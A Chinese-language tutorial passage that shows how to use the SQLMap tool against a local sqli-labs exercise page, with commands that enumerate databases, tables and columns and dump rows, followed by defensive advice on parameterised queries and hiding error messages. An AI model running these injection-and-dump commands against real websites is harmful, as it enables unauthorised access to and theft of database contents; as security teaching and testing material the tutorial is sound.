SQL进阶理论篇(二十一):基于SQLMap的自动化SQL注入

文章目录

简介

从上一小节,可以发现,如果我们编写的代码存在着SQL注入的漏洞,后果还是很可怕的,只需要通过访问information_schema表就可以将数据库的信息全部暴露出来。

接下来我们了解下SQLMap工具,它可以帮我们自动化完成SQL注入的过程。让我们使用SQLmap工具,再重现一下上一节做的人工注入的步骤。

获取当前数据库和用户信息

执行以下命令:

复制代码
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --current-db --current-user

--current-db表示获取当前数据库名称;

--current-user表示获取当前用户的信息

然后你可以看到SQLmap帮我们获取了相应的结果:

获取MySQL中的所有数据库名称

执行:

复制代码
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 --dbs

这里我们使用--threads来指定SQLmap的最大并发数,通常不要超过10。

于是它帮我们获取了当前MySQL中的8个数据库名称:

查询wucai数据库中的所有数据表

执行:

复制代码
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 -D wucai --tables

-D表示待查询的数据库的库名;

--tables表示显示出所有数据表名称;

查看heros数据表中的所有字段

执行:

复制代码
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 -D wucai -T heros --columns

-T表示指定的数据表名称;

--columns表示对所有字段名称进行查询;

查询heros表中的英雄信息

执行:

复制代码
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D wucai -T heros -C id,name,hp_max --dump

-C后面表示需要查询的字段名;

--dump表示展示具体数据。

至此,整个数据库对我们来说,就是不设防的状态了。

总结

总之,代码规范性对web安全来讲,非常重要,尽量不要采用直接拼接的方式进行查询,一定要拼接的话,必须在后端提前做好参数验证(如java的sqlparameter),不能因为在前端验证完参数就认为安全了,前端的验证是很容易被绕过的。

同时,web上线之后,还需要将生产环境中的错误提示信息关闭,坚决不能给不法分子可乘之机,以减少被SQL 注入的风险。

此外,我们也可以采用第三方的工具,比如SQLmap来对web应用进行检测,以增强web安全性。

当然,本节讲的内容都很基础,现在真正的SQL注入攻防,可比本节展示的内容复杂多了。

参考文献

  1. 37丨SQL注入:你的SQL是如何被注入的?
相关推荐
程序员老油条3 分钟前
用 n8n 自建自动化:GitHub Push 后自动部署到服务器
服务器·自动化·github
pt10436 分钟前
思科网络自动化入门课程介绍
运维·网络·自动化
姚青&11 小时前
测试左移体系
python·自动化
weixin_3077791312 小时前
Linux下Nginx故障系统化检查Shell脚本
linux·运维·服务器·nginx·自动化
安当加密030112 小时前
凭据管理自动化:从硬编码密码到动态轮换的DevSecOps实践
自动化·devsecops·凭据管理·密码轮换·硬编码治理
姚青&13 小时前
测试右移体系
自动化
2501_9336707913 小时前
二本通信工程就业前景与岗位分析:CDA数据分析师证书的加持之路
自动化
山峰哥14 小时前
数据库工程与索引策略实战指南‌
服务器·数据库·sql·oracle·深度优先
机器懒得学习15 小时前
WorkBuddy 使用教程:让 AI 成为你的超级助手
自动化·工作效率·[ai工具·ai助手]
曦尧16 小时前
Claude Code 全栈实战手册:从环境配置到生产部署
ai·自动化